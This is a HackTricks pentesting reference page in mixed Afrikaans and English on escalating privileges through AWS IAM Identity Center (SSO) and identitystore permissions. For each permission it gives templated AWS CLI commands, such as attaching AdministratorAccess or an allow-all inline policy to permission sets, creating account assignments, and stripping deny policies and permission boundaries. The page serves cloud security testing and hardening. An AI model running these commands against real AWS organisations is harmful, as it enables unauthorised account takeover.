AWS - SSO & identitystore Privesc

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

AWS Identity Center / AWS SSO

Vir meer inligting oor AWS Identity Center / AWS SSO, sien:

AWS - IAM, Identity Center & SSO Enum

Warning

Let daarop dat by standaard, slegs gebruikers met permissies from die Management Account toegang sal hê en die IAM Identity Center kan control.
Gebruikers van ander rekeninge kan dit slegs toelaat as die rekening ’n Delegated Adminstrator. is.
Check the docs for more info.

Herstel Wagwoord

’n Maklike manier om voorregte in sulke gevalle te eskaleer sou wees om ’n toestemming te hê wat toelaat om gebruikers se wagwoorde te herstel. Ongelukkig is dit slegs moontlik om ’n e-pos na die gebruiker te stuur om sy wagwoord te herstel, so jy sal toegang tot die gebruiker se e-pos nodig hê.

identitystore:CreateGroupMembership

Met hierdie toestemming is dit moontlik om ’n gebruiker in ’n groep te plaas sodat hy alle toestemmings wat die groep het, erf.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

’n aanvaller met hierdie toestemming kan ekstra toestemmings aan ’n Permission Set verleen wat aan ’n user toegeken is wat onder sy beheer is.

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

’n aanvaller met hierdie toestemming kan ekstra regte aan ’n Permission Set toeken wat aan ’n gebruiker onder sy beheer gegee is

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

’n Aanvaller met hierdie toestemming kan ekstra toestemmings aan ’n Permission Set verleen wat aan ’n gebruiker onder sy beheer toegeken is.

Warning

Om hierdie toestemmings in hierdie geval te misbruik, moet jy die naam van ’n customer managed policy wat in ALL die accounts is wat geraak gaan word ken.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

’n aanvaller met hierdie toestemming kan ’n Permission Set aan ’n gebruiker onder sy beheer vir ’n account toewys.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Gee die STS korttermyn credentials vir ’n gegewe role name wat aan die user toegewys is.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Jy het egter ’n access token nodig wat ek nie seker is hoe om te kry nie (TODO).

sso:DetachManagedPolicyFromPermissionSet

’n aanvaller met hierdie toestemming kan die assosiasie tussen ’n AWS managed policy en die gespesifiseerde permission set verwyder. Dit is moontlik om meer voorregte toe te ken deur detaching a managed policy (deny policy).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

’n aanvaller met hierdie toestemming kan die assosiasie tussen ’n Customer managed policy en die gespesifiseerde permission set verwyder. Dit is moontlik om meer voorregte toe te ken deur detaching a managed policy (deny policy).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

An attacker met hierdie toestemming kan die toestemmings van ’n inline policy in die permission set verwyder. Dit is moontlik om meer voorregte te verleen deur ’n inline policy (deny policy) los te koppel.

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

’n aanvaller met hierdie toestemming kan die Permission Boundary van die Permission Set verwyder. Dit is moontlik om meer voorregte te verleen deur die beperkings op die Permission Set wat deur die Permission Boundary opgelê is te verwyder.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks